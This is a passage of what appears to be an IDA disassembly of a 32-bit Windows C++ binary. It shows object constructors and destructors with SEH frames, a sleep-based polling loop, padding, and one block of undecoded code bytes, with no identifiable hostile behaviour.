sub_417AC0	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417AC0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B80	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B80	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F054
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CF0	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F058
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DB0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417DB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DE0	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_417DE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E10	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F074
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417ED0	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417ED0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417ED0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F90	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418040	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418040
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418040	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180C0	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418140	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		retn
sub_418140	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418170	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418170	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181F0	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		retn
sub_4181F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418220	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		retn
sub_418220	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418250	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418250	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182F0	proc near		; CODE XREF: sub_40126Cj

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418308:				; CODE XREF: sub_4182F0+E4j
		test	bl, bl
		jnz	loc_4183DE
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41831E
		mov	bl, 1
		jmp	short loc_418332
; ---------------------------------------------------------------------------


loc_41831E:				; CODE XREF: sub_4182F0+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418339


loc_418332:				; CODE XREF: sub_4182F0+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418339:				; CODE XREF: sub_4182F0+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4183BE


loc_418374:				; CODE XREF: sub_4182F0+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41839B
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_41839B:				; CODE XREF: sub_4182F0+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_418374


loc_4183BE:				; CODE XREF: sub_4182F0+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418308
		test	bl, bl
		jz	short loc_4183EB


loc_4183DE:				; CODE XREF: sub_4182F0+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4183EB:				; CODE XREF: sub_4182F0+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_4182F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418450	proc near		; CODE XREF: sub_401776j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418450
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8E9B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_418490
		push	eax
		jmp	short loc_418495
; ---------------------------------------------------------------------------


loc_418490:				; CODE XREF: sub_418450+3Bj
		push	offset byte_448F30


loc_418495:				; CODE XREF: sub_418450+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184AE
		push	edi
		jmp	short loc_4184B3
; ---------------------------------------------------------------------------


loc_4184AE:				; CODE XREF: sub_418450+59j
		push	offset byte_448F30


loc_4184B3:				; CODE XREF: sub_418450+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418450	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE94ABE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E161h, 8FD2E890h
		dd 8E8DFFFEh, 1BBEh, 0FE92FBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94FDh, 15FBE8Dh, 0CF8B0000h, 0FE9833E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8CF3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E92h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 6E8CF8Bh,	8BFFFE96h, 8C27E8CFh, 868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 0A9E8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 33E855CFh
		dd 84FFFE9Ah, 530B75C0h, 0E8CF8B55h, 0FFFE8EF5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9395h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE9A25E8h, 74C084FFh
		dd 90006A08h, 82189DE8h, 9924E877h, 8E8DFFFEh, 168h, 0FE91FDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9A44h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 9A16E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BFCE8FFh, 9E8DFFFEh, 8EF5Dh, 0A7E8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D9CE800h,	8E8DFFFEh, 1D29h, 0FE9746E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE949Dh, 0F2858E8Dh, 0B0E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9090E800h,	8E8DFFFEh, 8F3A2h, 0FE9B89E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE97E1h, 8EE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 98E7E800h,	0CF8BFFFEh, 0FE89AEE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9579h, 0FB058E8Dh, 0F1E80009h, 8DFFFE94h
		dd 9FAD38Eh, 9860E800h,	8E8DFFFEh, 9FB93h, 0FE92ABE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE998Fh, 0FBFF8E8Dh, 1AE80009h
		dd 8BFFFE95h, 8B86E8CEh, 8E8DFFFEh, 8F270h, 5BE8F88Bh
		dd 8BFFFE90h, 9054E8CBh, 2DE8FFFEh, 0E8FFFE94h,	7169BD24h
		dd 42468A90h, 0B74C084h, 1528E8Dh, 0D7E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418800:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418820:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401776
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418850	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418850	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4188C0	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_4188C0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418900	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418970	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189E0	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_4189E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A30	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A50	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AA0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AD0	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_418AE7
		push	eax
		nop
		call	near ptr 71AB9639h


loc_418AE7:				; CODE XREF: sub_418AD0+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_418AD0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B00	proc near		; CODE XREF: ___:00401267j sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_418B18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_418B18:				; CODE XREF: sub_418B00+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_418B00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B30	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F068
		test	eax, eax
		jle	short loc_418B47
		push	eax
		nop
		call	near ptr 71AB9639h


loc_418B47:				; CODE XREF: sub_418B30+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_418B30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418B60:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_418B78
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_418B78:				; CODE XREF: ___:00418B6Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B90	proc near		; CODE XREF: sub_401771j
		mov	dword ptr [ecx], offset	off_43F0A0
		jmp	sub_40204F
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418BB0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401771
		test	byte ptr [esp+8], 1
		jz	short loc_418BC8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_418BC8:				; CODE XREF: ___:00418BBDj
